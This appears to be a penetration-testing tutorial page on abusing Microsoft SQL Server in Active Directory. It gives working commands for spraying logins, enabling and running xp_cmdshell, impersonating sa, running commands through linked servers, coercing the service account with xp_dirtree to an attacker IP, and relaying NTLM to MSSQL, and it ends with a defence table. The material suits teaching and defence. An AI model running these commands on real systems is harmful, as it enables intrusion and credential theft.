← back to theory
AD

MSSQL / SQL Server Abuse

Microsoft SQL Server is everywhere in an enterprise, it authenticates users with their domain identity, and its service runs as a domain account that is frequently over-privileged. That combination makes MSSQL less of a "database" and more of a distributed execution and credential surface woven through Active Directory. You rarely need a SQL-injection bug to abuse it — valid domain credentials and a permissive configuration are usually enough.

The three levers to keep in mind: SQL Server can run OS commands as its service account, it can impersonate other logins inside the engine, and instances trust each other through linked servers. Chain those and a single low-privileged connection can walk across servers and out onto the host.

Finding instances and getting in

SQL Server registers a Service Principal Name (MSSQLSvc/host:port), so instances are discoverable straight from the directory — which also makes the service accounts Kerberoastable. From there you authenticate with Windows (integrated) auth using your domain user, hash or ticket:

Get-SQLInstanceDomain | Get-SQLConnectionTest        # PowerUpSQL: find instances you can reach
nxc mssql <range> -u <user> -p '<pass>'                # spray/where-can-I-log-in
mssqlclient.py -windows-auth <domain>/<user>:'<pass>'@<ip>

The privilege model that makes it dangerous

SQL Server has its own identity system layered on top of Windows. Understanding it tells you what to look for:

ConceptMeaning
LoginServer-level identity (a Windows account/group, or a SQL login)
UserA login mapped into a specific database
sysadmin (sa)God on the instance — can do anything, including OS command execution
publicThe role every login has; the baseline you start from
Service account contextWhatever OS commands you run execute as this account, not yours

The prize is sysadmin, but you rarely start there. The interesting question is how to reach it from public — and the answer is usually impersonation or a linked server.

Command execution — xp_cmdshell and friends

The classic primitive is xp_cmdshell, an extended stored procedure that runs a shell command as the SQL service account. It is disabled by default, but a sysadmin can turn it on in two statements:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

It is not the only route to OS or code execution:

VectorNotes
OLE Automation (sp_OACreate)Instantiate COM objects — run commands, write files, without xp_cmdshell
CLR assembliesLoad a .NET assembly into the engine and call it — powerful and stealthier
SQL Agent jobsSchedule a job step (CmdExec/PowerShell) that runs under the agent account
xp_dirtree / xp_fileexistNot execution, but they trigger outbound SMB — see coercion below

Whatever the vector, the command runs as the service account. If that account holds SeImpersonatePrivilege (service accounts usually do), you can escalate to SYSTEM with a potato technique; if it is a privileged domain account, you may already have what you need.

Impersonation — EXECUTE AS

SQL Server lets one login run statements as another when granted the IMPERSONATE permission — a feature apps use for delegation, and a privilege escalation when it points at a higher-privileged login:

-- who can I impersonate?
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
EXECUTE AS LOGIN = 'sa';   -- become sysadmin if you were granted impersonate on sa
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');

A related classic is the trustworthy database misconfiguration: if a database is marked TRUSTWORTHY and you are db_owner there, you can create a stored procedure that runs as a sysadmin and escalate to full server control.

Linked servers — trust that crawls

Administrators connect instances with linked servers so queries can span databases. Those links carry a security context — sometimes a fixed, high-privileged login — and links are frequently transitive. You can crawl the graph and end up as sysadmin on a server you were never granted access to:

Get-SQLServerLinkCrawl -Instance <sql> -Query 'SELECT SYSTEM_USER'   # PowerUpSQL: walk every link
-- manual, in mssqlclient.py:
EXEC ('SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED\INSTANCE];
-- execute out through a link where you are sysadmin:
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED\INSTANCE];

Even a single self-referential or misconfigured link can be the whole path, so link crawling is one of the highest-value things to do the moment you can authenticate to any instance.

Coercion — make the service account authenticate to you

You do not need command execution to weaponise SQL Server against the domain. Procedures like xp_dirtree take a UNC path and cause the service account to authenticate to it over SMB. Point it at your listener and you capture or relay that NetNTLM — straight into the coercion & relay workflow:

EXEC xp_dirtree '\\<attacker_ip>\share', 1, 1;     -- service account auths to you
-- capture with Responder, or relay with ntlmrelayx to an unsigned host / LDAP

This is powerful because it works from a low-privileged login: you cannot run xp_cmdshell, but you can make a privileged service account leak its authentication.

Relaying to MSSQL

The reverse also holds: if you have coerced or captured a privileged account's authentication elsewhere, you can relay it into SQL Server and run commands as that identity:

ntlmrelayx.py -t mssql://<sql_ip> -q "EXEC xp_cmdshell 'whoami'"

From SQL to the domain

Put the pieces together and MSSQL becomes a bridge into the wider attack path: Kerberoast the service SPN offline; authenticate; crawl links to become sysadmin somewhere; run xp_cmdshell; if the token holds SeImpersonate, potato to SYSTEM; dump LSASS for the next set of credentials — and repeat.

Detection & defence

ControlEffect
Keep xp_cmdshell disabled and alert on sp_configure toggling itRemoves/flags the loudest execution primitive
Run the service as a low-privileged gMSA; strip local admin and unnecessary domain rightsCommand execution and coercion become far less useful
Remove sysadmin from application logins; audit IMPERSONATE grants and TRUSTWORTHY databasesCloses the EXECUTE-AS escalation paths
Review linked servers and the security context they use; avoid fixed high-priv contextsStops link crawling from reaching sysadmin
Enforce SMB signing / EPA and disable NTLM where possibleNeutralises xp_dirtree coercion and relay to SQL
Use a strong, unique password on the SQL SPN accountDefeats offline Kerberoast cracking

The takeaway

Treat every SQL Server as a domain-privileged execution host, not just a data store. The escalation ladder is almost always the same — authenticate → impersonate or crawl a link → become sysadmin → execute as the service account → potato to SYSTEM → harvest credentials — and none of it requires a memory-corruption exploit, only permissive defaults. Tools such as PowerUpSQL and Impacket's mssqlclient.py are in the Toolkit, and the practical commands are under MSSQL lateral movement and SQL Server links in Vulns & Misconfigs.

Related reading